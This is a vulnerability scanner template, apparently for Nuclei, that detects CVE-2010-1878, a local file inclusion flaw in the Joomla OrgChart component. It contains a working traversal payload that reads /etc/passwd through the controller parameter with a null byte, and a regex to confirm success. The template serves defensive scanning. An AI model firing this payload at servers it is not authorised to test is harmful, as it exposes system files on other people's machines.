id: CVE-2010-1878

info:
  name: Joomla! Component OrgChart 1.0.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the OrgChart (com_orgchart) component 1.0.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: |
    Apply the latest patch or upgrade to a newer version of the Joomla! Component OrgChart to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12317
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1878
    - http://packetstormsecurity.org/1004-exploits/joomlaorgchart-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/58031
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1878
    cwe-id: CWE-22
    epss-score: 0.11429
    epss-percentile: 0.95565
    cpe: cpe:2.3:a:blueflyingfish.no-ip:com_orgchart:1.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: blueflyingfish.no-ip
    product: com_orgchart
  tags: cve,cve2010,lfi,edb,packetstorm,joomla,blueflyingfish.no-ip,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_orgchart&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022069f41373a999bd1bb8bb6668f3b3f1217e73a4049aaeebcd4a70f60f3ac49e1d022100f9f9e87cd86b52a1fd7f4928dfe36e2dcc8a709d3433f6496279bf81e1c60e39:922c64590222798bb761d5b6d8e72950